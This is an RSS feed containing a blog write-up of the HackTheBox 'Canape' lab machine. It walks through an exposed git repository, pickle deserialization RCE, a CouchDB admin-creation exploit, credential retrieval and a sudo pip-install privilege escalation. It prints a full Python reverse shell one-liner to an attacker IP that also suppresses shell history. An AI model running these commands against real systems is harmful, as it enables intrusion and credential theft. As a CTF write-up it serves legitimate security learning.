<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Canape Archives -</title>
	<atom:link href="https://barriersec.com/category/hackthebox/canape/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/hackthebox/canape/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:18:57 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>Canape Archives -</title>
	<link>https://barriersec.com/category/hackthebox/canape/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>HackTheBox &#8211; Canape Fastrun WriteUp</title>
		<link>https://barriersec.com/2018/09/hackthebox-canape-fastrun-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 15 Sep 2018 23:34:26 +0000</pubDate>
				<category><![CDATA[Canape]]></category>
		<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[canape]]></category>
		<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=175</guid>

					<description><![CDATA[<p>Hi All, today we are going to solve canape machine from hackthebox..this walkthrough would be a fast run! as i&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-canape-fastrun-writeup/">HackTheBox &#8211; Canape Fastrun WriteUp</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All, today we are going to solve canape machine from hackthebox..this walkthrough would be a fast run! as i am still in hangover of clearing OSCP ( :D) and a bit busy this weekend..so i shall skip few commands and give you brief explanation how i solved this box.</p>
<p>&nbsp;</p>
<p>So Lets start with nmap scan : <strong>nmap 10.10.10.70</strong></p>
<p><strong>PORT STATE SERVICE</strong><br />
<strong>80/tcp open http</strong></p>
<p>we see only one port open&#8230;after a bit of enumeration from dirbusting the directories and other stuff, we find two interesting things :</p>
<ol>
<li>git repository is exposed : http://10.10.10.70/.git/</li>
<li>we see a submit quotes page which lets us to submit quotes.</li>
</ol>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-176" src="https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880.png" alt="" width="1757" height="880" srcset="https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880.png 1757w, https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880-300x150.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880-768x385.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880-1024x513.png 1024w" sizes="(max-width: 1757px) 100vw, 1757px" /></p>
<p>and a comment in the source code of page. which specifies another interesting page : http://10.10.10.70/check</p>
<p>from the git repository we download all the files recursively and clone it to a local repo.</p>
<p>&nbsp;</p>
<p><strong>root@kali:~/git# ls</strong><br />
<strong>__init__.py static templates</strong></p>
<p>&nbsp;</p>
<p>we find few interesting things in the python code.</p>
<p>first one being the poor input sanitization of &#8220;character&#8221; field . and the character and submitted quote is written directly to a file as the md5 of both.</p>
<p>as this line : <strong>p_id = md5(char + quote).hexdigest()</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p><strong>WHITELIST = [</strong><br />
<strong>&#8220;homer&#8221;,</strong><br />
<strong>&#8220;marge&#8221;,</strong><br />
<strong>&#8220;bart&#8221;,</strong><br />
<strong>&#8220;lisa&#8221;,</strong><br />
<strong>&#8220;maggie&#8221;,</strong><br />
<strong>&#8220;moe&#8221;,</strong><br />
<strong>&#8220;carl&#8221;,</strong><br />
<strong>&#8220;krusty&#8221;</strong><br />
<strong>]</strong></p>
<p><strong>if request.method == &#8220;POST&#8221;:</strong><br />
<strong>try:</strong><br />
<strong>char = request.form[&#8220;character&#8221;]</strong><br />
<strong>quote = request.form[&#8220;quote&#8221;]</strong><br />
<strong>if not char or not quote:</strong><br />
<strong>error = True</strong><br />
<strong>elif not any(c.lower() in char.lower() for c in WHITELIST):</strong><br />
<strong>error = True</strong><br />
<strong>else:</strong><br />
<strong># TODO &#8211; Pickle into dictionary instead, `check` is ready</strong><br />
<strong>p_id = md5(char + quote).hexdigest()</strong><br />
<strong>outfile = open(&#8220;/tmp/&#8221; + p_id + &#8220;.p&#8221;, &#8220;wb&#8221;)</strong><br />
<strong>outfile.write(char + quote)</strong><br />
<strong>outfile.close()</strong><br />
<strong>success = True</strong><br />
<strong>except Exception as ex:</strong><br />
<strong>error = True</strong></p>
<p><strong>return render_template(&#8220;submit.html&#8221;, error=error, success=success)</strong></p>
<p>&nbsp;</p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>and the next one being, in the <strong>check</strong> page code , we can see it is using pickle to deserialize the stored object from the file&#8230;From a recent vuln it was found that the way pickle handles data leads to RCE.</p>
<p>More on this vulnerability explained :</p>
<p><strong>https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html</strong></p>
<p>so our strategy is to create a payload inside character field and exploit the vuln by calling the check with our malicious md5 hashed file .(too lazy to share exploit <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> write it yourself , this is fast run!  i shall share the git link :P)</p>
<p><strong>character = reverse shell payload + &#8220;Homer&#8221;</strong></p>
<p>once request is posted for <strong>quotes, </strong>we access the <strong><a href="http://10.10.10.70/check">check</a></strong> page with our already known calculated md5 hash id named file. I used a python reverse shell payload from pentest monkey.</p>
<p>&nbsp;</p>
<p><strong>python -c &#8220;import os; import pty; import socket; lhost = &#8216;10.10.14.14&#8217;; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(&#8216;HISTFILE&#8217;, &#8216;/dev/null&#8217;); pty.spawn(&#8216;/bin/bash&#8217;); s.close();&#8221;</strong></p>
<p>this is then used as shown in exploit , a class object under reduce function ,converted into pickle format using cpickle.dumps ( will find it in script) and post the request to quotes.</p>
<p>Then we post request to check with MD5 hashed filename.</p>
<p>We get a quick reverse shell ! <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p><strong>root@kali:~# nc -nlvp 443</strong><br />
<strong>listening on [any] 443 &#8230;</strong><br />
<strong>connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58594</strong><br />
<strong>www-data@canape:/$</strong></p>
<p>but we are still , a low priv www user who does not have access to the actual user flag .</p>
<p>so lets enum more :</p>
<p>from <strong>/etc/passwd :</strong></p>
<p>we find a valid user :</p>
<p><strong>homer:x:1000:1000:homer,,,:/home/homer:/bin/bash</strong></p>
<p>now enumerating more we find that it is running <strong>couch db</strong> for its backend database . and also few interesting things from the /var/www folder.</p>
<p>we can confirm <strong>couch db</strong> is running :</p>
<p><strong>www-data@canape:/var/www/git$ curl -s http://localhost:5984</strong><br />
<strong>curl -s http://localhost:5984</strong><br />
<strong>{&#8220;couchdb&#8221;:&#8221;Welcome&#8221;,&#8221;version&#8221;:&#8221;2.0.0&#8243;,&#8221;vendor&#8221;:{&#8220;name&#8221;:&#8221;The Apache Software Foundation&#8221;}}</strong></p>
<p>this version is found to be vulnerable to admin user priv escalation .</p>
<p><a href="https://www.exploit-db.com/exploits/44498/">https://www.exploit-db.com/exploits/44498/</a></p>
<p>now we can exploit it like this :</p>
<p><strong>www-data@canape:/var/www/git$ python 44498.py localhost -p 5984 -u menoe -P menoe </strong><br />
<strong>&lt;t$ python 44498.py localhost -p 5984 -u menoe -P menoe </strong><br />
<strong>[+] User to create: menoe</strong><br />
<strong>[+] Password: menoe</strong><br />
<strong>[+] Attacking host localhost on port 5984</strong><br />
<strong>[+] User menoe with password menoe successfully created.</strong></p>
<p>Now lets use the user to fetch juicy database details..(* after a long lookup at couch db docs ! *) .after few mins of enumeration , it was found that password was stored in following view :</p>
<p>www-data@canape:/var/www/git$<strong> curl -s http://menoe:menoe@localhost:5984/passwords</strong>/739c5ebdf3f7a001bebb8fc4380019e4<br />
&lt;noe@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4<br />
{&#8220;_id&#8221;:&#8221;739c5ebdf3f7a001bebb8fc4380019e4&#8243;,&#8221;_rev&#8221;:&#8221;2-81cf17b971d9229c54be92eeee723296&#8243;,&#8221;item&#8221;:&#8221;ssh&#8221;,&#8221;password&#8221;:&#8221;<strong>0B4jyA0xtytZi7esBNGp</strong>&#8220;,&#8221;user&#8221;:&#8221;&#8221;}</p>
<p>www-data@canape:/var/www/git$ <strong>su homer</strong><br />
Password: <strong>0B4jyA0xtytZi7esBNGp</strong></p>
<p>homer@canape:/var/www/git$ <strong>whoami</strong><br />
<strong>homer</strong></p>
<p>and now ! we can grab the user.txt flag! Now lets move onto privilege escalation .</p>
<p>now, from quick enumeration , we find that homer can execute few commands as root :</p>
<p>homer@canape:/var/www/git$ sudo -l</p>
<p>User homer may run the following commands on canape:<br />
<strong>(root) /usr/bin/pip install *</strong></p>
<p>A classic priv esc scenario ! wild card entry for pip install! lets create a temporary folder and add setup.py inside it .with priv esc  <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> here we have created a folder called <strong>privesc, </strong>inside it we have added a setup.py file which contains following code to steal root flag.(we can replace any priv code to execute)</p>
<p>homer@canape:/tmp/privesc$ cat setup.py</p>
<p><strong>import os</strong><br />
<strong>os.system(&#8220;cat /root/root.txt &gt; /tmp/root.txt&#8221;)</strong><br />
<strong>os.system(&#8220;chmod 777 /tmp/root.txt&#8221;)</strong></p>
<p>&nbsp;</p>
<p>we can leverage<strong> pip -e</strong> option to install from a local built package. finally run this command to get root flag!</p>
<p><strong>homer@canape:/tmp/privesc$ sudo /usr/bin/pip install -e /tmp/privesc/</strong></p>
<p>command exits with no files/directories error, but our code should have been run already!lets verify :</p>
<p>homer@canape:/tmp$<strong> ls -l /tmp/root.txt</strong><br />
&#8211;<strong>rwxrwxrwx</strong> 1 root root 33 Sep 15 10:53 /tmp/root.txt</p>
<p>thats awesome! now lets quickly get our root flag <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>homer@canape:/tmp$ <strong>cat /tmp/root.txt</strong><br />
&lt;&lt;root flag contents &gt;&gt;</p>
<p>&nbsp;</p>
<p>thats all for this fast run! thank you. stay tuned for next writeup . have a nice day!</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-canape-fastrun-writeup/">HackTheBox &#8211; Canape Fastrun WriteUp</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
